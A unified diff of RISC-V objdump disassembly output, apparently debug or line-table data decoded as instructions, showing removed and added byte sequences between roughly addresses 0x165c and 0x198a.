+    165c:	0308                	addi	a0,sp,384
+    165e:	0900                	addi	s0,sp,144
+    1660:	0000                	unimp
+    1662:	0501                	addi	a0,a0,0
+    1664:	0606                	slli	a2,a2,0x1
+    1666:	00090203          	lb	tp,0(s2)
+    166a:	0100                	addi	s0,sp,128
+    166c:	0705                	addi	a4,a4,1
+    166e:	00090103          	lb	sp,0(s2)
+    1672:	0100                	addi	s0,sp,128
+    1674:	00090103          	lb	sp,0(s2)
+    1678:	0100                	addi	s0,sp,128
+    167a:	0b05                	addi	s6,s6,1
+    167c:	0306                	slli	t1,t1,0x1
+    167e:	0900                	addi	s0,sp,144
+    1680:	0000                	unimp
+    1682:	0501                	addi	a0,a0,0
+    1684:	030a                	slli	t1,t1,0x2
     1686:	0900                	addi	s0,sp,144
     1688:	0000                	unimp
     168a:	0501                	addi	a0,a0,0
-    168c:	0900031b          	0x900031b
-    1690:	0002                	c.slli64	zero
-    1692:	0501                	addi	a0,a0,0
-    1694:	0602                	c.slli64	a2
-    1696:	08090303          	lb	t1,128(s2)
-    169a:	0100                	addi	s0,sp,128
-    169c:	0605                	addi	a2,a2,1
-    169e:	0306                	slli	t1,t1,0x1
-    16a0:	0900                	addi	s0,sp,144
-    16a2:	0000                	unimp
-    16a4:	0501                	addi	a0,a0,0
-    16a6:	0305                	addi	t1,t1,1
-    16a8:	0900                	addi	s0,sp,144
-    16aa:	000e                	c.slli	zero,0x3
-    16ac:	0501                	addi	a0,a0,0
-    16ae:	02030603          	lb	a2,32(t1)
-    16b2:	0209                	addi	tp,tp,2
-    16b4:	0100                	addi	s0,sp,128
-    16b6:	0605                	addi	a2,a2,1
-    16b8:	0306                	slli	t1,t1,0x1
-    16ba:	0900                	addi	s0,sp,144
-    16bc:	0000                	unimp
-    16be:	0501                	addi	a0,a0,0
-    16c0:	0604                	addi	s1,sp,768
-    16c2:	02090103          	lb	sp,32(s2)
-    16c6:	0100                	addi	s0,sp,128
-    16c8:	00090103          	lb	sp,0(s2)
+    168c:	002d                	c.nop	11
+    168e:	0402                	c.slli64	s0
+    1690:	0601                	addi	a2,a2,0
+    1692:	00090003          	lb	zero,0(s2)
+    1696:	0100                	addi	s0,sp,128
+    1698:	0705                	addi	a4,a4,1
+    169a:	00090103          	lb	sp,0(s2)
+    169e:	0100                	addi	s0,sp,128
+    16a0:	0605                	addi	a2,a2,1
+    16a2:	00090103          	lb	sp,0(s2)
+    16a6:	0100                	addi	s0,sp,128
+    16a8:	00090203          	lb	tp,0(s2)
+    16ac:	0100                	addi	s0,sp,128
+    16ae:	0f05                	addi	t5,t5,1
+    16b0:	0306                	slli	t1,t1,0x1
+    16b2:	0900                	addi	s0,sp,144
+    16b4:	0000                	unimp
+    16b6:	0501                	addi	a0,a0,0
+    16b8:	0606                	slli	a2,a2,0x1
+    16ba:	00097603          	0x97603
+    16be:	0100                	addi	s0,sp,128
+    16c0:	0f05                	addi	t5,t5,1
+    16c2:	0306                	slli	t1,t1,0x1
+    16c4:	0900                	addi	s0,sp,144
+    16c6:	0000                	unimp
+    16c8:	0901                	addi	s2,s2,0
+    16ca:	0000                	unimp
     16cc:	0100                	addi	s0,sp,128
-    16ce:	1f05                	addi	t5,t5,-31
-    16d0:	0306                	slli	t1,t1,0x1
-    16d2:	0900                	addi	s0,sp,144
-    16d4:	0000                	unimp
-    16d6:	0501                	addi	a0,a0,0
-    16d8:	0304                	addi	s1,sp,384
-    16da:	0901                	addi	s2,s2,0
-    16dc:	000a                	c.slli	zero,0x2
-    16de:	0501                	addi	a0,a0,0
-    16e0:	031f 097f 0002      	0x2097f031f
-    16e6:	0501                	addi	a0,a0,0
-    16e8:	0604                	addi	s1,sp,768
-    16ea:	02090103          	lb	sp,32(s2)
-    16ee:	0100                	addi	s0,sp,128
-    16f0:	04090103          	lb	sp,64(s2)
-    16f4:	0100                	addi	s0,sp,128
-    16f6:	0306                	slli	t1,t1,0x1
-    16f8:	0911                	addi	s2,s2,4
-    16fa:	0004                	0x4
-    16fc:	0501                	addi	a0,a0,0
-    16fe:	0301                	addi	t1,t1,0
-    1700:	00de                	slli	ra,ra,0x17
-    1702:	0809                	addi	a6,a6,2
-    1704:	0100                	addi	s0,sp,128
-    1706:	0405                	addi	s0,s0,1
-    1708:	097fa203          	lw	tp,151(t6)
-    170c:	000c                	0xc
-    170e:	0501                	addi	a0,a0,0
-    1710:	060a                	slli	a2,a2,0x2
-    1712:	04097003          	0x4097003
-    1716:	0100                	addi	s0,sp,128
-    1718:	0105                	addi	sp,sp,1
-    171a:	0306                	slli	t1,t1,0x1
-    171c:	00ee                	slli	ra,ra,0x1b
-    171e:	0809                	addi	a6,a6,2
+    16ce:	0501                	addi	a0,a0,0
+    16d0:	0001                	nop
+    16d2:	0205                	addi	tp,tp,1
+    16d4:	1e64                	addi	s1,sp,828
+    16d6:	2040                	fld	fs0,128(s0)
+    16d8:	05012e03          	lw	t3,80(sp) # 2050050 <__stack_size+0x204f850>
+    16dc:	0302                	c.slli64	t1
+    16de:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
+    16e2:	0301                	addi	t1,t1,0
+    16e4:	0901                	addi	s2,s2,0
+    16e6:	0000                	unimp
+    16e8:	0501                	addi	a0,a0,0
+    16ea:	0601                	addi	a2,a2,0
+    16ec:	00097c03          	0x97c03
+    16f0:	0100                	addi	s0,sp,128
+    16f2:	1705                	addi	a4,a4,-31
+    16f4:	06090403          	lb	s0,96(s2)
+    16f8:	0100                	addi	s0,sp,128
+    16fa:	0105                	addi	sp,sp,1
+    16fc:	08097c03          	0x8097c03
+    1700:	0100                	addi	s0,sp,128
+    1702:	1705                	addi	a4,a4,-31
+    1704:	0e090403          	lb	s0,224(s2)
+    1708:	0100                	addi	s0,sp,128
+    170a:	2305                	jal	1c2a <__stack_size+0x142a>
+    170c:	06090203          	lb	tp,96(s2)
+    1710:	0100                	addi	s0,sp,128
+    1712:	0605                	addi	a2,a2,1
+    1714:	0c090003          	lb	zero,192(s2)
+    1718:	0100                	addi	s0,sp,128
+    171a:	0b05                	addi	s6,s6,1
+    171c:	02097e03          	0x2097e03
     1720:	0100                	addi	s0,sp,128
-    1722:	0905                	addi	s2,s2,1
-    1724:	0c097e03          	0xc097e03
-    1728:	0100                	addi	s0,sp,128
-    172a:	0306                	slli	t1,t1,0x1
-    172c:	04097f97          	auipc	t6,0x4097
-    1730:	0100                	addi	s0,sp,128
-    1732:	0d05                	addi	s10,s10,1
-    1734:	0306                	slli	t1,t1,0x1
-    1736:	0900                	addi	s0,sp,144
-    1738:	0000                	unimp
-    173a:	0501                	addi	a0,a0,0
-    173c:	030c                	addi	a1,sp,384
-    173e:	0900                	addi	s0,sp,144
-    1740:	000e                	c.slli	zero,0x3
-    1742:	0501                	addi	a0,a0,0
-    1744:	02030603          	lb	a2,32(t1)
-    1748:	0209                	addi	tp,tp,2
-    174a:	0100                	addi	s0,sp,128
-    174c:	0605                	addi	a2,a2,1
-    174e:	0306                	slli	t1,t1,0x1
-    1750:	0900                	addi	s0,sp,144
-    1752:	0000                	unimp
-    1754:	0501                	addi	a0,a0,0
-    1756:	0015                	c.nop	5
-    1758:	0402                	c.slli64	s0
+    1722:	06090503          	lb	a0,96(s2)
+    1726:	0100                	addi	s0,sp,128
+    1728:	02097b03          	0x2097b03
+    172c:	0100                	addi	s0,sp,128
+    172e:	0205                	addi	tp,tp,1
+    1730:	0306                	slli	t1,t1,0x1
+    1732:	00060903          	lb	s2,0(a2) # ffffa000 <_heap_end+0x7ffeb800>
+    1736:	0501                	addi	a0,a0,0
+    1738:	0616                	slli	a2,a2,0x5
+    173a:	00090003          	lb	zero,0(s2)
+    173e:	0100                	addi	s0,sp,128
+    1740:	0205                	addi	tp,tp,1
+    1742:	0306                	slli	t1,t1,0x1
+    1744:	0901                	addi	s2,s2,0
+    1746:	0006                	c.slli	zero,0x1
+    1748:	0501                	addi	a0,a0,0
+    174a:	063a                	slli	a2,a2,0xe
+    174c:	00090003          	lb	zero,0(s2)
+    1750:	0100                	addi	s0,sp,128
+    1752:	0205                	addi	tp,tp,1
+    1754:	0306                	slli	t1,t1,0x1
+    1756:	0901                	addi	s2,s2,0
+    1758:	000c                	0xc
     175a:	0301                	addi	t1,t1,0
-    175c:	0900                	addi	s0,sp,144
-    175e:	0002                	c.slli64	zero
+    175c:	0901                	addi	s2,s2,0
+    175e:	0000                	unimp
     1760:	0501                	addi	a0,a0,0
-    1762:	0604                	addi	s1,sp,768
-    1764:	04090103          	lb	sp,64(s2)
+    1762:	0003060b          	0x3060b
+    1766:	0009                	c.nop	2
     1768:	0100                	addi	s0,sp,128
-    176a:	1a05                	addi	s4,s4,-31
-    176c:	0306                	slli	t1,t1,0x1
-    176e:	0900                	addi	s0,sp,144
-    1770:	0000                	unimp
-    1772:	0501                	addi	a0,a0,0
-    1774:	031f 0901 000a      	0xa0901031f
+    176a:	0705                	addi	a4,a4,1
+    176c:	02090603          	lb	a2,32(s2)
+    1770:	0100                	addi	s0,sp,128
+    1772:	0205                	addi	tp,tp,1
+    1774:	0306                	slli	t1,t1,0x1
+    1776:	0002097b          	0x2097b
     177a:	0501                	addi	a0,a0,0
-    177c:	031a                	slli	t1,t1,0x6
-    177e:	097f                	0x97f
-    1780:	0004                	0x4
+    177c:	09020303          	lb	t1,144(tp) # ffffd090 <_heap_end+0x7ffee890>
+    1780:	0000                	unimp
     1782:	0501                	addi	a0,a0,0
-    1784:	0604                	addi	s1,sp,768
-    1786:	02090103          	lb	sp,32(s2)
+    1784:	0605                	addi	a2,a2,1
+    1786:	00090003          	lb	zero,0(s2)
     178a:	0100                	addi	s0,sp,128
-    178c:	1f05                	addi	t5,t5,-31
+    178c:	0405                	addi	s0,s0,1
     178e:	0306                	slli	t1,t1,0x1
-    1790:	0900                	addi	s0,sp,144
-    1792:	0000                	unimp
-    1794:	0501                	addi	a0,a0,0
-    1796:	0604                	addi	s1,sp,768
-    1798:	08090203          	lb	tp,128(s2)
-    179c:	0100                	addi	s0,sp,128
-    179e:	0905                	addi	s2,s2,1
-    17a0:	0306                	slli	t1,t1,0x1
-    17a2:	0900                	addi	s0,sp,144
-    17a4:	0000                	unimp
-    17a6:	0501                	addi	a0,a0,0
-    17a8:	09000307          	0x9000307
-    17ac:	0006                	c.slli	zero,0x1
-    17ae:	0501                	addi	a0,a0,0
-    17b0:	0605                	addi	a2,a2,1
-    17b2:	06090103          	lb	sp,96(s2)
-    17b6:	0100                	addi	s0,sp,128
-    17b8:	0405                	addi	s0,s0,1
-    17ba:	04090603          	lb	a2,64(s2)
-    17be:	0100                	addi	s0,sp,128
-    17c0:	0905                	addi	s2,s2,1
-    17c2:	06097b03          	0x6097b03
-    17c6:	0100                	addi	s0,sp,128
-    17c8:	0e05                	addi	t3,t3,1
-    17ca:	0306                	slli	t1,t1,0x1
-    17cc:	0900                	addi	s0,sp,144
-    17ce:	0000                	unimp
-    17d0:	0501                	addi	a0,a0,0
-    17d2:	030c                	addi	a1,sp,384
-    17d4:	0900                	addi	s0,sp,144
-    17d6:	0006                	c.slli	zero,0x1
-    17d8:	0501                	addi	a0,a0,0
-    17da:	0605                	addi	a2,a2,1
-    17dc:	06090103          	lb	sp,96(s2)
-    17e0:	0100                	addi	s0,sp,128
-    17e2:	06090203          	lb	tp,96(s2)
-    17e6:	0100                	addi	s0,sp,128
-    17e8:	0a05                	addi	s4,s4,1
-    17ea:	06090303          	lb	t1,96(s2)
-    17ee:	0100                	addi	s0,sp,128
-    17f0:	0905                	addi	s2,s2,1
-    17f2:	0a090303          	lb	t1,160(s2)
-    17f6:	0100                	addi	s0,sp,128
-    17f8:	0d05                	addi	s10,s10,1
-    17fa:	0306                	slli	t1,t1,0x1
-    17fc:	0900                	addi	s0,sp,144
-    17fe:	0000                	unimp
-    1800:	0501                	addi	a0,a0,0
-    1802:	030c                	addi	a1,sp,384
-    1804:	0900                	addi	s0,sp,144
-    1806:	000e                	c.slli	zero,0x3
-    1808:	0501                	addi	a0,a0,0
-    180a:	02030603          	lb	a2,32(t1)
-    180e:	0209                	addi	tp,tp,2
-    1810:	0100                	addi	s0,sp,128
-    1812:	0605                	addi	a2,a2,1
-    1814:	0306                	slli	t1,t1,0x1
-    1816:	0900                	addi	s0,sp,144
-    1818:	0000                	unimp
-    181a:	0501                	addi	a0,a0,0
-    181c:	0604                	addi	s1,sp,768
-    181e:	02090103          	lb	sp,32(s2)
-    1822:	0100                	addi	s0,sp,128
-    1824:	1f05                	addi	t5,t5,-31
-    1826:	0306                	slli	t1,t1,0x1
-    1828:	0900                	addi	s0,sp,144
-    182a:	0000                	unimp
-    182c:	0501                	addi	a0,a0,0
-    182e:	0604                	addi	s1,sp,768
-    1830:	0a090103          	lb	sp,160(s2)
-    1834:	0100                	addi	s0,sp,128
-    1836:	0105                	addi	sp,sp,1
-    1838:	0306                	slli	t1,t1,0x1
-    183a:	00d6                	slli	ra,ra,0x15
-    183c:	0409                	addi	s0,s0,2
-    183e:	0100                	addi	s0,sp,128
-    1840:	0a05                	addi	s4,s4,1
-    1842:	0306                	slli	t1,t1,0x1
-    1844:	0e097fab          	0xe097fab
-    1848:	0100                	addi	s0,sp,128
-    184a:	0905                	addi	s2,s2,1
-    184c:	0a090303          	lb	t1,160(s2)
-    1850:	0100                	addi	s0,sp,128
-    1852:	0d05                	addi	s10,s10,1
-    1854:	0306                	slli	t1,t1,0x1
-    1856:	0900                	addi	s0,sp,144
-    1858:	0000                	unimp
-    185a:	0501                	addi	a0,a0,0
-    185c:	030c                	addi	a1,sp,384
-    185e:	0900                	addi	s0,sp,144
-    1860:	000e                	c.slli	zero,0x3
-    1862:	0501                	addi	a0,a0,0
-    1864:	02030603          	lb	a2,32(t1)
-    1868:	0209                	addi	tp,tp,2
-    186a:	0100                	addi	s0,sp,128
-    186c:	0605                	addi	a2,a2,1
+    1790:	0901                	addi	s2,s2,0
+    1792:	0002                	c.slli64	zero
+    1794:	0301                	addi	t1,t1,0
+    1796:	0901                	addi	s2,s2,0
+    1798:	0000                	unimp
+    179a:	0301                	addi	t1,t1,0
+    179c:	0901                	addi	s2,s2,0
+    179e:	0000                	unimp
+    17a0:	0501                	addi	a0,a0,0
+    17a2:	061d                	addi	a2,a2,7
+    17a4:	00090003          	lb	zero,0(s2)
+    17a8:	0100                	addi	s0,sp,128
+    17aa:	0e05                	addi	t3,t3,1
+    17ac:	04097f03          	0x4097f03
+    17b0:	0100                	addi	s0,sp,128
+    17b2:	0705                	addi	a4,a4,1
+    17b4:	02090103          	lb	sp,32(s2)
+    17b8:	0100                	addi	s0,sp,128
+    17ba:	0505                	addi	a0,a0,1
+    17bc:	0306                	slli	t1,t1,0x1
+    17be:	0901                	addi	s2,s2,0
+    17c0:	0004                	0x4
+    17c2:	0501                	addi	a0,a0,0
+    17c4:	0003060f          	0x3060f
+    17c8:	0009                	c.nop	2
+    17ca:	0100                	addi	s0,sp,128
+    17cc:	0405                	addi	s0,s0,1
+    17ce:	0306                	slli	t1,t1,0x1
+    17d0:	0901                	addi	s2,s2,0
+    17d2:	0006                	c.slli	zero,0x1
+    17d4:	0501                	addi	a0,a0,0
+    17d6:	060d                	addi	a2,a2,3
+    17d8:	04090103          	lb	sp,64(s2)
+    17dc:	0100                	addi	s0,sp,128
+    17de:	0405                	addi	s0,s0,1
+    17e0:	02097f03          	0x2097f03
+    17e4:	0100                	addi	s0,sp,128
+    17e6:	0d05                	addi	s10,s10,1
+    17e8:	02090103          	lb	sp,32(s2)
+    17ec:	0100                	addi	s0,sp,128
+    17ee:	0405                	addi	s0,s0,1
+    17f0:	02097f03          	0x2097f03
+    17f4:	0100                	addi	s0,sp,128
+    17f6:	0306                	slli	t1,t1,0x1
+    17f8:	0901                	addi	s2,s2,0
+    17fa:	0002                	c.slli64	zero
+    17fc:	0501                	addi	a0,a0,0
+    17fe:	060d                	addi	a2,a2,3
+    1800:	00090003          	lb	zero,0(s2)
+    1804:	0100                	addi	s0,sp,128
+    1806:	0305                	addi	t1,t1,1
+    1808:	0306                	slli	t1,t1,0x1
+    180a:	0902                	c.slli64	s2
+    180c:	0004                	0x4
+    180e:	0501                	addi	a0,a0,0
+    1810:	0605                	addi	a2,a2,1
+    1812:	00090003          	lb	zero,0(s2)
+    1816:	0100                	addi	s0,sp,128
+    1818:	0405                	addi	s0,s0,1
+    181a:	0306                	slli	t1,t1,0x1
+    181c:	0901                	addi	s2,s2,0
+    181e:	0004                	0x4
+    1820:	0501                	addi	a0,a0,0
+    1822:	0900030f          	0x900030f
+    1826:	0006                	c.slli	zero,0x1
+    1828:	0501                	addi	a0,a0,0
+    182a:	09040303          	lb	t1,144(s0) # 18090 <__stack_size+0x17890>
+    182e:	0000                	unimp
+    1830:	0501                	addi	a0,a0,0
+    1832:	0315                	addi	t1,t1,5
+    1834:	0900                	addi	s0,sp,144
+    1836:	0000                	unimp
+    1838:	0301                	addi	t1,t1,0
+    183a:	0900                	addi	s0,sp,144
+    183c:	0000                	unimp
+    183e:	0301                	addi	t1,t1,0
+    1840:	0900                	addi	s0,sp,144
+    1842:	0000                	unimp
+    1844:	0301                	addi	t1,t1,0
+    1846:	0900                	addi	s0,sp,144
+    1848:	0000                	unimp
+    184a:	0301                	addi	t1,t1,0
+    184c:	0900                	addi	s0,sp,144
+    184e:	0000                	unimp
+    1850:	0301                	addi	t1,t1,0
+    1852:	0900                	addi	s0,sp,144
+    1854:	0000                	unimp
+    1856:	0301                	addi	t1,t1,0
+    1858:	0900                	addi	s0,sp,144
+    185a:	0008                	0x8
+    185c:	0501                	addi	a0,a0,0
+    185e:	00030613          	mv	a2,t1
+    1862:	0009                	c.nop	2
+    1864:	0100                	addi	s0,sp,128
+    1866:	1505                	addi	a0,a0,-31
+    1868:	02090003          	lb	zero,32(s2)
+    186c:	0100                	addi	s0,sp,128
     186e:	0306                	slli	t1,t1,0x1
     1870:	0900                	addi	s0,sp,144
-    1872:	0000                	unimp
-    1874:	0501                	addi	a0,a0,0
-    1876:	0015                	c.nop	5
-    1878:	0402                	c.slli64	s0
+    1872:	0002                	c.slli64	zero
+    1874:	0301                	addi	t1,t1,0
+    1876:	0900                	addi	s0,sp,144
+    1878:	0002                	c.slli64	zero
     187a:	0301                	addi	t1,t1,0
     187c:	0900                	addi	s0,sp,144
     187e:	0002                	c.slli64	zero
-    1880:	0501                	addi	a0,a0,0
-    1882:	0026                	c.slli	zero,0x9
-    1884:	0402                	c.slli64	s0
-    1886:	0302                	c.slli64	t1
-    1888:	0900                	addi	s0,sp,144
-    188a:	0004                	0x4
-    188c:	0501                	addi	a0,a0,0
-    188e:	0604                	addi	s1,sp,768
-    1890:	04090103          	lb	sp,64(s2)
-    1894:	0100                	addi	s0,sp,128
-    1896:	1f05                	addi	t5,t5,-31
-    1898:	0306                	slli	t1,t1,0x1
-    189a:	0900                	addi	s0,sp,144
-    189c:	0000                	unimp
-    189e:	0501                	addi	a0,a0,0
-    18a0:	031d                	addi	t1,t1,7
-    18a2:	0900                	addi	s0,sp,144
-    18a4:	000a                	c.slli	zero,0x2
-    18a6:	0501                	addi	a0,a0,0
-    18a8:	0604                	addi	s1,sp,768
-    18aa:	06090103          	lb	sp,96(s2)
-    18ae:	0100                	addi	s0,sp,128
-    18b0:	1f05                	addi	t5,t5,-31
-    18b2:	0306                	slli	t1,t1,0x1
-    18b4:	0900                	addi	s0,sp,144
-    18b6:	0000                	unimp
-    18b8:	0501                	addi	a0,a0,0
-    18ba:	031d                	addi	t1,t1,7
-    18bc:	0900                	addi	s0,sp,144
-    18be:	000a                	c.slli	zero,0x2
-    18c0:	0501                	addi	a0,a0,0
-    18c2:	0604                	addi	s1,sp,768
-    18c4:	02090103          	lb	sp,32(s2)
+    1880:	0301                	addi	t1,t1,0
+    1882:	0900                	addi	s0,sp,144
+    1884:	0002                	c.slli64	zero
+    1886:	0501                	addi	a0,a0,0
+    1888:	00030613          	mv	a2,t1
+    188c:	0009                	c.nop	2
+    188e:	0100                	addi	s0,sp,128
+    1890:	0805                	addi	a6,a6,1
+    1892:	0306                	slli	t1,t1,0x1
+    1894:	0971                	addi	s2,s2,28
+    1896:	0002                	c.slli64	zero
+    1898:	0501                	addi	a0,a0,0
+    189a:	0605                	addi	a2,a2,1
+    189c:	00090203          	lb	tp,0(s2)
+    18a0:	0100                	addi	s0,sp,128
+    18a2:	0205                	addi	tp,tp,1
+    18a4:	0306                	slli	t1,t1,0x1
+    18a6:	0910                	addi	a2,sp,144
+    18a8:	0002                	c.slli64	zero
+    18aa:	0301                	addi	t1,t1,0
+    18ac:	0902                	c.slli64	s2
+    18ae:	0000                	unimp
+    18b0:	0501                	addi	a0,a0,0
+    18b2:	0601                	addi	a2,a2,0
+    18b4:	00090303          	lb	t1,0(s2)
+    18b8:	0100                	addi	s0,sp,128
+    18ba:	0705                	addi	a4,a4,1
+    18bc:	0c097d03          	0xc097d03
+    18c0:	0100                	addi	s0,sp,128
+    18c2:	0105                	addi	sp,sp,1
+    18c4:	02090303          	lb	t1,32(s2)
     18c8:	0100                	addi	s0,sp,128
-    18ca:	1f05                	addi	t5,t5,-31
-    18cc:	0306                	slli	t1,t1,0x1
-    18ce:	0900                	addi	s0,sp,144
-    18d0:	0000                	unimp
-    18d2:	0501                	addi	a0,a0,0
-    18d4:	031d                	addi	t1,t1,7
-    18d6:	0900                	addi	s0,sp,144
-    18d8:	000a                	c.slli	zero,0x2
-    18da:	0501                	addi	a0,a0,0
-    18dc:	0604                	addi	s1,sp,768
-    18de:	02090103          	lb	sp,32(s2)
-    18e2:	0100                	addi	s0,sp,128
-    18e4:	1d05                	addi	s10,s10,-31
-    18e6:	0306                	slli	t1,t1,0x1
-    18e8:	0900                	addi	s0,sp,144
-    18ea:	0000                	unimp
-    18ec:	0501                	addi	a0,a0,0
-    18ee:	060a                	slli	a2,a2,0x2
-    18f0:	06090103          	lb	sp,96(s2)
-    18f4:	0100                	addi	s0,sp,128
-    18f6:	0905                	addi	s2,s2,1
-    18f8:	0a090303          	lb	t1,160(s2)
-    18fc:	0100                	addi	s0,sp,128
-    18fe:	0d05                	addi	s10,s10,1
-    1900:	0306                	slli	t1,t1,0x1
-    1902:	0900                	addi	s0,sp,144
-    1904:	0000                	unimp
-    1906:	0501                	addi	a0,a0,0
-    1908:	030c                	addi	a1,sp,384
-    190a:	0900                	addi	s0,sp,144
-    190c:	000e                	c.slli	zero,0x3
+    18ca:	0705                	addi	a4,a4,1
+    18cc:	02097d03          	0x2097d03
+    18d0:	0100                	addi	s0,sp,128
+    18d2:	0105                	addi	sp,sp,1
+    18d4:	02090303          	lb	t1,32(s2)
+    18d8:	0100                	addi	s0,sp,128
+    18da:	0705                	addi	a4,a4,1
+    18dc:	02097d03          	0x2097d03
+    18e0:	0100                	addi	s0,sp,128
+    18e2:	0209                	addi	tp,tp,2
+    18e4:	0000                	unimp
+    18e6:	0101                	addi	sp,sp,0
+    18e8:	6205                	lui	tp,0x1
+    18ea:	0500                	addi	s0,sp,640
+    18ec:	1002                	c.slli	zero,0x20
+    18ee:	401f 0320 00d1      	0xd10320401f
+    18f4:	0501                	addi	a0,a0,0
+    18f6:	09010303          	lb	t1,144(sp)
+    18fa:	0000                	unimp
+    18fc:	0301                	addi	t1,t1,0
+    18fe:	0901                	addi	s2,s2,0
+    1900:	0000                	unimp
+    1902:	0301                	addi	t1,t1,0
+    1904:	0901                	addi	s2,s2,0
+    1906:	0000                	unimp
+    1908:	0301                	addi	t1,t1,0
+    190a:	0901                	addi	s2,s2,0
+    190c:	0000                	unimp
     190e:	0501                	addi	a0,a0,0
-    1910:	02030603          	lb	a2,32(t1)
-    1914:	0209                	addi	tp,tp,2
+    1910:	0662                	slli	a2,a2,0x18
+    1912:	00097c03          	0x97c03
     1916:	0100                	addi	s0,sp,128
-    1918:	0605                	addi	a2,a2,1
-    191a:	0306                	slli	t1,t1,0x1
-    191c:	0900                	addi	s0,sp,144
-    191e:	0000                	unimp
-    1920:	0501                	addi	a0,a0,0
-    1922:	0015                	c.nop	5
-    1924:	0402                	c.slli64	s0
-    1926:	0301                	addi	t1,t1,0
-    1928:	0900                	addi	s0,sp,144
-    192a:	0002                	c.slli64	zero
-    192c:	0501                	addi	a0,a0,0
-    192e:	04020037          	lui	zero,0x4020
-    1932:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    1936:	0012                	c.slli	zero,0x4
-    1938:	0501                	addi	a0,a0,0
-    193a:	0604                	addi	s1,sp,768
-    193c:	04090103          	lb	sp,64(s2)
-    1940:	0100                	addi	s0,sp,128
-    1942:	1205                	addi	tp,tp,-31
-    1944:	00090003          	lb	zero,0(s2)
-    1948:	0100                	addi	s0,sp,128
-    194a:	0405                	addi	s0,s0,1
-    194c:	0a090103          	lb	sp,160(s2)
-    1950:	0100                	addi	s0,sp,128
-    1952:	0905                	addi	s2,s2,1
-    1954:	00090003          	lb	zero,0(s2)
-    1958:	0100                	addi	s0,sp,128
-    195a:	00090003          	lb	zero,0(s2)
-    195e:	0100                	addi	s0,sp,128
-    1960:	18090003          	lb	zero,384(s2)
-    1964:	0100                	addi	s0,sp,128
-    1966:	0705                	addi	a4,a4,1
-    1968:	0306                	slli	t1,t1,0x1
+    1918:	0305                	addi	t1,t1,1
+    191a:	0a090403          	lb	s0,160(s2)
+    191e:	0100                	addi	s0,sp,128
+    1920:	6205                	lui	tp,0x1
+    1922:	06097c03          	0x6097c03
+    1926:	0100                	addi	s0,sp,128
+    1928:	0305                	addi	t1,t1,1
+    192a:	0a090403          	lb	s0,160(s2)
+    192e:	0100                	addi	s0,sp,128
+    1930:	0306                	slli	t1,t1,0x1
+    1932:	0901                	addi	s2,s2,0
+    1934:	0002                	c.slli64	zero
+    1936:	0501                	addi	a0,a0,0
+    1938:	09000307          	0x9000307
+    193c:	0000                	unimp
+    193e:	0301                	addi	t1,t1,0
+    1940:	0900                	addi	s0,sp,144
+    1942:	0000                	unimp
+    1944:	0301                	addi	t1,t1,0
+    1946:	0900                	addi	s0,sp,144
+    1948:	0000                	unimp
+    194a:	0301                	addi	t1,t1,0
+    194c:	0900                	addi	s0,sp,144
+    194e:	0000                	unimp
+    1950:	0301                	addi	t1,t1,0
+    1952:	0900                	addi	s0,sp,144
+    1954:	0000                	unimp
+    1956:	0301                	addi	t1,t1,0
+    1958:	0900                	addi	s0,sp,144
+    195a:	0000                	unimp
+    195c:	0301                	addi	t1,t1,0
+    195e:	0900                	addi	s0,sp,144
+    1960:	0008                	0x8
+    1962:	0301                	addi	t1,t1,0
+    1964:	0900                	addi	s0,sp,144
+    1966:	0002                	c.slli64	zero
+    1968:	0301                	addi	t1,t1,0
     196a:	0900                	addi	s0,sp,144
-    196c:	0000                	unimp
-    196e:	0501                	addi	a0,a0,0
-    1970:	0605                	addi	a2,a2,1
-    1972:	02090103          	lb	sp,32(s2)
-    1976:	0100                	addi	s0,sp,128
-    1978:	0306                	slli	t1,t1,0x1
-    197a:	0008090b          	0x8090b
-    197e:	0501                	addi	a0,a0,0
-    1980:	097b0337          	lui	t1,0x97b0
-    1984:	0004                	0x4
-    1986:	0501                	addi	a0,a0,0
-    1988:	060a                	slli	a2,a2,0x2
-    198a:	02097b03          	0x2097b03
-    198e:	0100                	addi	s0,sp,128
-    1990:	0905                	addi	s2,s2,1
-    1992:	0a090303          	lb	t1,160(s2)
-    1996:	0100                	addi	s0,sp,128
-    1998:	0d05                	addi	s10,s10,1
-    199a:	0306                	slli	t1,t1,0x1
-    199c:	0900                	addi	s0,sp,144
-    199e:	0000                	unimp
-    19a0:	0501                	addi	a0,a0,0
-    19a2:	030c                	addi	a1,sp,384
-    19a4:	0900                	addi	s0,sp,144
-    19a6:	000e                	c.slli	zero,0x3
-    19a8:	0501                	addi	a0,a0,0
-    19aa:	02030603          	lb	a2,32(t1) # 97b0020 <__stack_size+0x97af820>
-    19ae:	0209                	addi	tp,tp,2
-    19b0:	0100                	addi	s0,sp,128
-    19b2:	0605                	addi	a2,a2,1
-    19b4:	0306                	slli	t1,t1,0x1
-    19b6:	0900                	addi	s0,sp,144
-    19b8:	0000                	unimp
-    19ba:	0501                	addi	a0,a0,0
-    19bc:	001d                	c.nop	7
-    19be:	0402                	c.slli64	s0
-    19c0:	0301                	addi	t1,t1,0
-    19c2:	0900                	addi	s0,sp,144
-    19c4:	0002                	c.slli64	zero
-    19c6:	0501                	addi	a0,a0,0
-    19c8:	0015                	c.nop	5
-    19ca:	0402                	c.slli64	s0
-    19cc:	0301                	addi	t1,t1,0
-    19ce:	0900                	addi	s0,sp,144
-    19d0:	0004                	0x4
-    19d2:	0501                	addi	a0,a0,0
-    19d4:	0604                	addi	s1,sp,768
-    19d6:	0e090103          	lb	sp,224(s2)
-    19da:	0100                	addi	s0,sp,128
-    19dc:	00090103          	lb	sp,0(s2)
-    19e0:	0100                	addi	s0,sp,128
-    19e2:	0805                	addi	a6,a6,1
-    19e4:	00090003          	lb	zero,0(s2)
-    19e8:	0100                	addi	s0,sp,128
-    19ea:	00090003          	lb	zero,0(s2)
-    19ee:	0100                	addi	s0,sp,128
-    19f0:	00090003          	lb	zero,0(s2)
+    196c:	0002                	c.slli64	zero
+    196e:	0301                	addi	t1,t1,0
+    1970:	0900                	addi	s0,sp,144
+    1972:	0002                	c.slli64	zero
+    1974:	0301                	addi	t1,t1,0
+    1976:	0900                	addi	s0,sp,144
+    1978:	0002                	c.slli64	zero
+    197a:	0501                	addi	a0,a0,0
+    197c:	0606                	slli	a2,a2,0x1
+    197e:	00090003          	lb	zero,0(s2)
+    1982:	0100                	addi	s0,sp,128
+    1984:	0c05                	addi	s8,s8,1
+    1986:	02091b03          	lh	s6,32(s2)
+    198a:	0100                	addi	s0,sp,128
